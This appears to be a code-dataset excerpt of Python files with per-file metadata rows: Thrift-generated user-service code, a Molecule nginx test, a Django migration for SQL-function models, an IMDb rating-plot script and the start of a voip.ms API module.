def recv_add_user(self):
iprot = self._iprot
(fname, mtype, rseqid) = iprot.readMessageBegin()
if mtype == TMessageType.EXCEPTION:
x = TApplicationException()
x.read(iprot)
iprot.readMessageEnd()
raise x
result = add_user_result()
result.read(iprot)
iprot.readMessageEnd()
if result.success is not None:
return result.success
raise TApplicationException(TApplicationException.MISSING_RESULT, "add_user failed: unknown result")
def remove_user(self, user, info):
"""
Parameters:
- user
- info
"""
self.send_remove_user(user, info)
return self.recv_remove_user()
def send_remove_user(self, user, info):
self._oprot.writeMessageBegin('remove_user', TMessageType.CALL, self._seqid)
args = remove_user_args()
args.user = user
args.info = info
args.write(self._oprot)
self._oprot.writeMessageEnd()
self._oprot.trans.flush()
def recv_remove_user(self):
iprot = self._iprot
(fname, mtype, rseqid) = iprot.readMessageBegin()
if mtype == TMessageType.EXCEPTION:
x = TApplicationException()
x.read(iprot)
iprot.readMessageEnd()
raise x
result = remove_user_result()
result.read(iprot)
iprot.readMessageEnd()
if result.success is not None:
return result.success
raise TApplicationException(TApplicationException.MISSING_RESULT, "remove_user failed: unknown result")
class Processor(Iface, TProcessor):
def __init__(self, handler):
self._handler = handler
self._processMap = {}
self._processMap["add_user"] = Processor.process_add_user
self._processMap["remove_user"] = Processor.process_remove_user
self._on_message_begin = None
def on_message_begin(self, func):
self._on_message_begin = func
def process(self, iprot, oprot):
(name, type, seqid) = iprot.readMessageBegin()
if self._on_message_begin:
self._on_message_begin(name, type, seqid)
if name not in self._processMap:
iprot.skip(TType.STRUCT)
iprot.readMessageEnd()
x = TApplicationException(TApplicationException.UNKNOWN_METHOD, 'Unknown function %s' % (name))
oprot.writeMessageBegin(name, TMessageType.EXCEPTION, seqid)
x.write(oprot)
oprot.writeMessageEnd()
oprot.trans.flush()
return
else:
self._processMap[name](self, seqid, iprot, oprot)
return True
def process_add_user(self, seqid, iprot, oprot):
args = add_user_args()
args.read(iprot)
iprot.readMessageEnd()
result = add_user_result()
try:
result.success = self._handler.add_user(args.user, args.info)
msg_type = TMessageType.REPLY
except TTransport.TTransportException:
raise
except TApplicationException as ex:
logging.exception('TApplication exception in handler')
msg_type = TMessageType.EXCEPTION
result = ex
except Exception:
logging.exception('Unexpected exception in handler')
msg_type = TMessageType.EXCEPTION
result = TApplicationException(TApplicationException.INTERNAL_ERROR, 'Internal error')
oprot.writeMessageBegin("add_user", msg_type, seqid)
result.write(oprot)
oprot.writeMessageEnd()
oprot.trans.flush()
def process_remove_user(self, seqid, iprot, oprot):
args = remove_user_args()
args.read(iprot)
iprot.readMessageEnd()
result = remove_user_result()
try:
result.success = self._handler.remove_user(args.user, args.info)
msg_type = TMessageType.REPLY
except TTransport.TTransportException:
raise
except TApplicationException as ex:
logging.exception('TApplication exception in handler')
msg_type = TMessageType.EXCEPTION
result = ex
except Exception:
logging.exception('Unexpected exception in handler')
msg_type = TMessageType.EXCEPTION
result = TApplicationException(TApplicationException.INTERNAL_ERROR, 'Internal error')
oprot.writeMessageBegin("remove_user", msg_type, seqid)
result.write(oprot)
oprot.writeMessageEnd()
oprot.trans.flush()
# HELPER FUNCTIONS AND STRUCTURES
class add_user_args(object):
"""
Attributes:
- user
- info
"""
def __init__(self, user=None, info=None,):
self.user = user
self.info = info
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRUCT:
self.user = User()
self.user.read(iprot)
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.STRING:
self.info = iprot.readString().decode('utf-8', errors='replace') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('add_user_args')
if self.user is not None:
oprot.writeFieldBegin('user', TType.STRUCT, 1)
self.user.write(oprot)
oprot.writeFieldEnd()
if self.info is not None:
oprot.writeFieldBegin('info', TType.STRING, 2)
oprot.writeString(self.info.encode('utf-8') if sys.version_info[0] == 2 else self.info)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
all_structs.append(add_user_args)
add_user_args.thrift_spec = (
None, # 0
(1, TType.STRUCT, 'user', [User, None], None, ), # 1
(2, TType.STRING, 'info', 'UTF8', None, ), # 2
)
class add_user_result(object):
"""
Attributes:
- success
"""
def __init__(self, success=None,):
self.success = success
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 0:
if ftype == TType.I32:
self.success = iprot.readI32()
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('add_user_result')
if self.success is not None:
oprot.writeFieldBegin('success', TType.I32, 0)
oprot.writeI32(self.success)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
all_structs.append(add_user_result)
add_user_result.thrift_spec = (
(0, TType.I32, 'success', None, None, ), # 0
)
class remove_user_args(object):
"""
Attributes:
- user
- info
"""
def __init__(self, user=None, info=None,):
self.user = user
self.info = info
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRUCT:
self.user = User()
self.user.read(iprot)
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.STRING:
self.info = iprot.readString().decode('utf-8', errors='replace') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('remove_user_args')
if self.user is not None:
oprot.writeFieldBegin('user', TType.STRUCT, 1)
self.user.write(oprot)
oprot.writeFieldEnd()
if self.info is not None:
oprot.writeFieldBegin('info', TType.STRING, 2)
oprot.writeString(self.info.encode('utf-8') if sys.version_info[0] == 2 else self.info)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
all_structs.append(remove_user_args)
remove_user_args.thrift_spec = (
None, # 0
(1, TType.STRUCT, 'user', [User, None], None, ), # 1
(2, TType.STRING, 'info', 'UTF8', None, ), # 2
)
class remove_user_result(object):
"""
Attributes:
- success
"""
def __init__(self, success=None,):
self.success = success
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 0:
if ftype == TType.I32:
self.success = iprot.readI32()
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('remove_user_result')
if self.success is not None:
oprot.writeFieldBegin('success', TType.I32, 0)
oprot.writeI32(self.success)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
all_structs.append(remove_user_result)
remove_user_result.thrift_spec = (
(0, TType.I32, 'success', None, None, ), # 0
)
fix_spec(all_structs)
del all_structs
| 32.075107 | 136 | 0.590486 | 1,642 | 14,947 | 5.130329 | 0.101096 | 0.020774 | 0.026709 | 0.021368 | 0.833571 | 0.830366 | 0.809948 | 0.78585 | 0.773979 | 0.752374 | 0 | 0.006263 | 0.30568 | 14,947 | 465 | 137 | 32.144086 | 0.805454 | 0.026025 | 0 | 0.783476 | 1 | 0 | 0.035889 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.119658 | false | 0.005698 | 0.022792 | 0.034188 | 0.247863 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
09891bc07319f9d3ca5b88ee7eed87e891d84c8d | 156 | py | Python | molecule/default/tests/test_main.py | rremizov/ansible-webdav-server | c534a293e9ad96a22209bbba1dbeee15e83d31e0 | [
"MIT"
] | null | null | null | molecule/default/tests/test_main.py | rremizov/ansible-webdav-server | c534a293e9ad96a22209bbba1dbeee15e83d31e0 | [
"MIT"
] | 4 | 2021-02-18T06:54:35.000Z | 2022-03-24T13:14:22.000Z | molecule/default/tests/test_main.py | rremizov/ansible-webdav-server | c534a293e9ad96a22209bbba1dbeee15e83d31e0 | [
"MIT"
] | null | null | null | def test_nginx_is_enabled(host):
assert host.service("nginx").is_enabled
def test_nginx_is_running(host):
assert host.service("nginx").is_running
| 22.285714 | 43 | 0.769231 | 24 | 156 | 4.666667 | 0.375 | 0.25 | 0.214286 | 0.25 | 0.5 | 0.5 | 0 | 0 | 0 | 0 | 0 | 0 | 0.115385 | 156 | 6 | 44 | 26 | 0.811594 | 0 | 0 | 0 | 0 | 0 | 0.064103 | 0 | 0 | 0 | 0 | 0 | 0.5 | 1 | 0.5 | false | 0 | 0 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
09a2acd458fbd58cd6f9dafdef578f9947fc5d63 | 8,619 | py | Python | wab/core/sql_function/migrations/0001_initial.py | BinNguyenVNN/wab-rest | daab9e176b5aae60cf822a19563f2e4bc1e02ca1 | [
"MIT"
] | null | null | null | wab/core/sql_function/migrations/0001_initial.py | BinNguyenVNN/wab-rest | daab9e176b5aae60cf822a19563f2e4bc1e02ca1 | [
"MIT"
] | 1 | 2020-12-17T13:51:12.000Z | 2020-12-17T13:51:12.000Z | wab/core/sql_function/migrations/0001_initial.py | BinNguyenVNN/wab-rest | daab9e176b5aae60cf822a19563f2e4bc1e02ca1 | [
"MIT"
] | 1 | 2021-05-18T12:30:53.000Z | 2021-05-18T12:30:53.000Z | # Generated by Django 3.0.11 on 2020-12-19 09:10
import django.db.models.deletion
from django.conf import settings
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
('db_provider', '0001_initial'),
]
operations = [
migrations.CreateModel(
name='SqlFunction',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('time_created', models.DateTimeField(auto_now_add=True, null=True, verbose_name='Created on')),
('time_modified', models.DateTimeField(auto_now=True, null=True, verbose_name='Last modified on')),
('name', models.CharField(blank=True, max_length=255, null=True)),
('connection', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE,
to='db_provider.DBProviderConnection')),
('creator', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE,
related_name='sql_function_sqlfunction_creator',
to=settings.AUTH_USER_MODEL, verbose_name='Created by')),
('last_modified_by',
models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE,
related_name='sql_function_sqlfunction_last_modified', to=settings.AUTH_USER_MODEL,
verbose_name='Last modified by')),
],
options={
'db_table': 'sql_function',
},
),
migrations.CreateModel(
name='SqlFunctionCondition',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('time_created', models.DateTimeField(auto_now_add=True, null=True, verbose_name='Created on')),
('time_modified', models.DateTimeField(auto_now=True, null=True, verbose_name='Last modified on')),
('creator', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE,
related_name='sql_function_sqlfunctioncondition_creator',
to=settings.AUTH_USER_MODEL, verbose_name='Created by')),
('last_modified_by',
models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE,
related_name='sql_function_sqlfunctioncondition_last_modified',
to=settings.AUTH_USER_MODEL, verbose_name='Last modified by')),
('sql_function', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE,
to='sql_function.SqlFunction')),
],
options={
'db_table': 'sql_function_condition',
},
),
migrations.CreateModel(
name='SqlFunctionOrderBy',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('time_created', models.DateTimeField(auto_now_add=True, null=True, verbose_name='Created on')),
('time_modified', models.DateTimeField(auto_now=True, null=True, verbose_name='Last modified on')),
('order_by_name', models.CharField(blank=True, max_length=255, null=True)),
('creator', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE,
related_name='sql_function_sqlfunctionorderby_creator',
to=settings.AUTH_USER_MODEL, verbose_name='Created by')),
('last_modified_by',
models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE,
related_name='sql_function_sqlfunctionorderby_last_modified',
to=settings.AUTH_USER_MODEL, verbose_name='Last modified by')),
('sql_function', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE,
to='sql_function.SqlFunction')),
],
options={
'db_table': 'sql_function_order_by',
},
),
migrations.CreateModel(
name='SqlFunctionMerge',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('time_created', models.DateTimeField(auto_now_add=True, null=True, verbose_name='Created on')),
('time_modified', models.DateTimeField(auto_now=True, null=True, verbose_name='Last modified on')),
('table_name', models.CharField(blank=True, max_length=255, null=True)),
('merge_type', models.CharField(
choices=[('inner_join', 'inner join'), ('left_join', 'left join'), ('right_join', 'right join'),
('right_outer_join', 'right outer join'), ('union', 'union')], default='inner_join',
max_length=32)),
('creator', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE,
related_name='sql_function_sqlfunctionmerge_creator',
to=settings.AUTH_USER_MODEL, verbose_name='Created by')),
('last_modified_by',
models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE,
related_name='sql_function_sqlfunctionmerge_last_modified',
to=settings.AUTH_USER_MODEL, verbose_name='Last modified by')),
('sql_function', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE,
to='sql_function.SqlFunction')),
],
options={
'db_table': 'sql_function_merge',
},
),
migrations.CreateModel(
name='SqlFunctionConditionItems',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('time_created', models.DateTimeField(auto_now_add=True, null=True, verbose_name='Created on')),
('time_modified', models.DateTimeField(auto_now=True, null=True, verbose_name='Last modified on')),
('field_name', models.CharField(blank=True, max_length=255, null=True)),
('operator',
models.CharField(choices=[('type_equal', '='), ('type_in', 'in'), ('type_contain', 'contain')],
default='type_equal', max_length=32)),
('value', models.CharField(blank=True, max_length=255, null=True)),
('relation',
models.CharField(choices=[('relation_and', 'and'), ('relation_or', 'or')], default='relation_and',
max_length=32)),
('creator', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE,
related_name='sql_function_sqlfunctionconditionitems_creator',
to=settings.AUTH_USER_MODEL, verbose_name='Created by')),
('last_modified_by',
models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE,
related_name='sql_function_sqlfunctionconditionitems_last_modified',
to=settings.AUTH_USER_MODEL, verbose_name='Last modified by')),
('sql_function_condition',
models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE,
to='sql_function.SqlFunctionCondition')),
],
options={
'db_table': 'sql_function_condition_items',
},
),
]
| 64.320896 | 118 | 0.564103 | 837 | 8,619 | 5.561529 | 0.11589 | 0.051557 | 0.064447 | 0.075618 | 0.809237 | 0.803867 | 0.794629 | 0.794629 | 0.794629 | 0.785177 | 0 | 0.006991 | 0.319527 | 8,619 | 133 | 119 | 64.804511 | 0.786701 | 0.005337 | 0 | 0.574803 | 1 | 0 | 0.194376 | 0.078754 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.023622 | 0 | 0.055118 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
111cd82fb16ebfb4240e05d5570e5e8862d3aad2 | 10,421 | py | Python | 06_quality_analysis_media.py | dmitry-dereshev/IMDb | 4e6190c1cc7796cdb93c4d9371489f9456668d6f | [
"MIT"
] | null | null | null | 06_quality_analysis_media.py | dmitry-dereshev/IMDb | 4e6190c1cc7796cdb93c4d9371489f9456668d6f | [
"MIT"
] | null | null | null | 06_quality_analysis_media.py | dmitry-dereshev/IMDb | 4e6190c1cc7796cdb93c4d9371489f9456668d6f | [
"MIT"
] | null | null | null | import numpy as np
import matplotlib.pyplot as plt
import psycopg2 as sql
import pandas as pd
db = sql.connect(
database='IMDb',
user='username',
password = 'password'
)
c = db.cursor()
def media_scores(q_tvEpisode, q_short, q_movie, q_video, q_tvMovie, q_tvSeries, whichplot='overall'):
c.execute(q_tvEpisode)
rows = c.fetchall()
tv_Episode_data = pd.DataFrame(rows, columns=['year_produced', 'Average_Score', 'st_dev_score'])
c.execute(q_short)
rows = c.fetchall()
short_data = pd.DataFrame(rows, columns=['year_produced', 'Average_Score', 'st_dev_score'])
c.execute(q_movie)
rows = c.fetchall()
movie_data = pd.DataFrame(rows, columns=['year_produced', 'Average_Score', 'st_dev_score'])
c.execute(q_video)
rows = c.fetchall()
video_data = pd.DataFrame(rows, columns=['year_produced', 'Average_Score', 'st_dev_score'])
c.execute(q_tvMovie)
rows = c.fetchall()
tvMovie_data = pd.DataFrame(rows, columns=['year_produced', 'Average_Score', 'st_dev_score'])
c.execute(q_tvSeries)
rows = c.fetchall()
tvSeries_data = pd.DataFrame(rows, columns=['year_produced', 'Average_Score', 'st_dev_score'])
db.close()
if whichplot == 'overall':
fig, axs = plt.subplots(2, 3)
fig.suptitle('Films, Shorts, TV AVG Scores & Standard Deviations Per Year')
plt.subplot(231)
plt.errorbar(short_data.year_produced,\
short_data.Average_Score, \
short_data.st_dev_score,\
label='Shorts', ecolor='tab:orange')
plt.legend()
#plt.xlim(2006, 2012)
plt.ylim(3, 10)
plt.xticks(np.arange(1860, 2021, 20))
plt.yticks([3, 4, 5, 6, 7, 8, 9, 10])
plt.grid()
plt.subplot(234)
plt.errorbar(video_data.year_produced,\
video_data.Average_Score,\
video_data.st_dev_score,\
label='Videos', ecolor='tab:orange')
plt.legend()
#plt.xlim(2006, 2012)
plt.ylim(3, 10)
plt.xticks(np.arange(1860, 2021, 20))
plt.yticks([3, 4, 5, 6, 7, 8, 9, 10])
plt.grid()
plt.subplot(232)
plt.errorbar(movie_data.year_produced,\
movie_data.Average_Score,\
movie_data.st_dev_score,\
label='Films', ecolor='tab:orange')
plt.legend()
#plt.xlim(2006, 2012)
plt.ylim(3, 10)
plt.xticks(np.arange(1860, 2021, 20))
plt.yticks([3, 4, 5, 6, 7, 8, 9, 10])
plt.grid()
plt.subplot(235)
plt.errorbar(tvMovie_data.year_produced,\
tvMovie_data.Average_Score,\
tvMovie_data.st_dev_score,\
label='TV Films', ecolor='tab:orange')
plt.legend()
#plt.xlim(2006, 2012)
plt.ylim(3, 10)
plt.xticks(np.arange(1860, 2021, 20))
plt.yticks([3, 4, 5, 6, 7, 8, 9, 10])
plt.grid()
plt.subplot(233)
plt.errorbar(tvSeries_data.year_produced,\
tvSeries_data.Average_Score,\
tvSeries_data.st_dev_score,\
label='TV Series', ecolor='tab:orange')
plt.legend()
#plt.xlim(2006, 2012)
plt.ylim(3, 10)
plt.xticks(np.arange(1860, 2021, 20))
plt.yticks([3, 4, 5, 6, 7, 8, 9, 10])
plt.grid()
plt.subplot(236)
plt.errorbar(tv_Episode_data.year_produced,\
tv_Episode_data.Average_Score,\
tv_Episode_data.st_dev_score,\
label='TV Episode', ecolor='tab:orange')
plt.legend()
#plt.xlim(2006, 2012)
plt.ylim(3, 10)
plt.xticks(np.arange(1860, 2021, 20))
plt.yticks([3, 4, 5, 6, 7, 8, 9, 10])
plt.grid()
plt.show()
elif whichplot == 'detailed':
#Shorts and Videos
fig_1 = plt.figure(1)
fig_1.suptitle('Shorts & Videos: AVG Scores & Standard Deviations Per Year')
plt.subplot(221)
plt.errorbar(short_data.year_produced,\
short_data.Average_Score, \
short_data.st_dev_score,\
label='Shorts', ecolor='tab:orange')
plt.legend()
#plt.xlim(2006, 2012)
plt.ylim(3, 10)
plt.xticks(np.arange(1860, 2021, 20))
plt.yticks([3, 4, 5, 6, 7, 8, 9, 10])
plt.grid()
plt.subplot(223)
plt.plot(short_data.year_produced,\
short_data.st_dev_score,\
label='Shorts Score Deviation Over Time')
plt.legend()
plt.xticks(np.arange(1860, 2021, 20))
plt.ylim(0, 2)
plt.grid()
plt.subplot(222)
plt.errorbar(video_data.year_produced,\
video_data.Average_Score,\
video_data.st_dev_score,\
label='Videos', ecolor='tab:orange')
plt.legend()
#plt.xlim(2006, 2012)
plt.ylim(3, 10)
plt.xticks(np.arange(1860, 2021, 20))
plt.yticks([3, 4, 5, 6, 7, 8, 9, 10])
plt.grid()
plt.subplot(224)
plt.plot(video_data.year_produced,\
video_data.st_dev_score,\
label='Videos Score Deviation Over Time')
plt.legend()
plt.xticks(np.arange(1860, 2021, 20))
plt.ylim(0, 2)
plt.grid()
#Films and TV Films
fig_2 = plt.figure(2)
fig_2.suptitle('Films & TV Films: AVG Scores & Standard Deviations Per Year')
plt.subplot(221)
plt.errorbar(movie_data.year_produced,\
movie_data.Average_Score,\
movie_data.st_dev_score,\
label='Films', ecolor='tab:orange')
plt.legend()
#plt.xlim(2006, 2012)
plt.ylim(3, 10)
plt.xticks(np.arange(1860, 2021, 20))
plt.yticks([3, 4, 5, 6, 7, 8, 9, 10])
plt.grid()
plt.subplot(223)
plt.plot(movie_data.year_produced,\
movie_data.st_dev_score,\
label='Films Score Deviation Over Time')
plt.legend()
plt.xticks(np.arange(1860, 2021, 20))
plt.ylim(0, 2)
plt.grid()
plt.subplot(222)
plt.errorbar(tvMovie_data.year_produced,\
tvMovie_data.Average_Score,\
tvMovie_data.st_dev_score,\
label='TV Films', ecolor='tab:orange')
plt.legend()
#plt.xlim(2006, 2012)
plt.ylim(3, 10)
plt.xticks(np.arange(1860, 2021, 20))
plt.yticks([3, 4, 5, 6, 7, 8, 9, 10])
plt.grid()
plt.subplot(224)
plt.plot(tvMovie_data.year_produced,\
tvMovie_data.st_dev_score,\
label='TV Films Score Deviation Over Time')
plt.legend()
plt.xticks(np.arange(1860, 2021, 20))
plt.ylim(0, 2)
plt.grid()
#TV Series & Episodes
fig_3 = plt.figure(3)
fig_3.suptitle('TV Series & TV Episodes: AVG Scores & Standard Deviations Per Year')
plt.subplot(221)
plt.errorbar(tvSeries_data.year_produced,\
tvSeries_data.Average_Score,\
tvSeries_data.st_dev_score,\
label='TV Series', ecolor='tab:orange')
plt.legend()
#plt.xlim(2006, 2012)
plt.ylim(3, 10)
plt.xticks(np.arange(1860, 2021, 20))
plt.yticks([3, 4, 5, 6, 7, 8, 9, 10])
plt.grid()
plt.subplot(223)
plt.plot(tvSeries_data.year_produced,\
tvSeries_data.st_dev_score,\
label='TV Series Score Deviation Over Time')
plt.legend()
plt.xticks(np.arange(1860, 2021, 20))
plt.ylim(0, 2)
plt.grid()
plt.subplot(222)
plt.errorbar(tv_Episode_data.year_produced,\
tv_Episode_data.Average_Score,\
tv_Episode_data.st_dev_score,\
label='TV Episode', ecolor='tab:orange')
plt.legend()
#plt.xlim(2006, 2012)
plt.ylim(3, 10)
plt.xticks(np.arange(1860, 2021, 20))
plt.yticks([3, 4, 5, 6, 7, 8, 9, 10])
plt.grid()
plt.subplot(224)
plt.plot(tv_Episode_data.year_produced,\
tv_Episode_data.st_dev_score,\
label='TV Episode Score Deviation Over Time')
plt.legend()
plt.xticks(np.arange(1860, 2021, 20))
plt.ylim(0, 2)
plt.grid()
plt.show()
q_tvEpisode = """SELECT m.year_produced, AVG(r.average_rating), stddev_pop(r.average_rating)
FROM media m
JOIN ratings r ON m.media_id = r.media_id
WHERE m.media_type = 'tvEpisode' AND m.year_produced < 2020
GROUP BY m.year_produced
ORDER BY m.year_produced"""
q_short = """SELECT m.year_produced, AVG(r.average_rating), stddev_pop(r.average_rating)
FROM media m
JOIN ratings r ON m.media_id = r.media_id
WHERE m.media_type = 'short' AND m.year_produced < 2020
GROUP BY m.year_produced
ORDER BY m.year_produced"""
q_movie = """SELECT m.year_produced, AVG(r.average_rating), stddev_pop(r.average_rating)
FROM media m
JOIN ratings r ON m.media_id = r.media_id
WHERE m.media_type = 'movie' AND m.year_produced < 2020
GROUP BY m.year_produced
ORDER BY m.year_produced"""
q_video = """SELECT m.year_produced, AVG(r.average_rating), stddev_pop(r.average_rating)
FROM media m
JOIN ratings r ON m.media_id = r.media_id
WHERE m.media_type = 'video' AND m.year_produced < 2020
GROUP BY m.year_produced
ORDER BY m.year_produced"""
q_tvMovie = """SELECT m.year_produced, AVG(r.average_rating), stddev_pop(r.average_rating)
FROM media m
JOIN ratings r ON m.media_id = r.media_id
WHERE m.media_type = 'tvMovie' AND m.year_produced < 2020
GROUP BY m.year_produced
ORDER BY m.year_produced"""
q_tvSeries = """SELECT m.year_produced, AVG(r.average_rating), stddev_pop(r.average_rating)
FROM media m
JOIN ratings r ON m.media_id = r.media_id
WHERE m.media_type = 'tvSeries' AND m.year_produced < 2020
GROUP BY m.year_produced
ORDER BY m.year_produced"""
whichplot = 'detailed'
media_scores(q_tvEpisode, q_short, q_movie, q_video, q_tvMovie, q_tvSeries, whichplot) | 34.167213 | 102 | 0.572306 | 1,413 | 10,421 | 4.047417 | 0.089172 | 0.100717 | 0.041965 | 0.044064 | 0.87935 | 0.87935 | 0.860115 | 0.845428 | 0.822347 | 0.815877 | 0 | 0.071762 | 0.301986 | 10,421 | 305 | 103 | 34.167213 | 0.714462 | 0.028308 | 0 | 0.733871 | 0 | 0 | 0.239906 | 0.030587 | 0 | 0 | 0 | 0 | 0 | 1 | 0.004032 | false | 0.004032 | 0.016129 | 0 | 0.020161 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
113e21565b9169d755c1bdf668462bd987c03bd7 | 4,752 | py | Python | voipms/entities/voicemailmark.py | 4doom4/python-voipms | 3159ccfaf1ed9f5fef431fa3d2fdd54b9d3b1b3c | [
"MIT"
] | 14 | 2017-06-26T16:22:59.000Z | 2022-03-10T13:22:49.000Z | voipms/entities/voicemailmark.py | judahpaul16/python-voipms | 4e1eb51f927b9e0924091f7bbf25ccc2193c3bac | [
"MIT"
] | 8 | 2018-02-15T18:25:48.000Z | 2022-03-29T06:17:00.000Z | voipms/entities/voicemailmark.py | judahpaul16/python-voipms | 4e1eb51f927b9e0924091f7bbf25ccc2193c3bac | [
"MIT"
] | 8 | 2019-02-22T00:42:25.000Z | 2022-02-14T19:50:41.000Z | # coding=utf-8
"""
The Voicemail API endpoint mark
Documentation: https://voip.ms/m/apidocs.php
"""
from voipms.baseapi import BaseApi
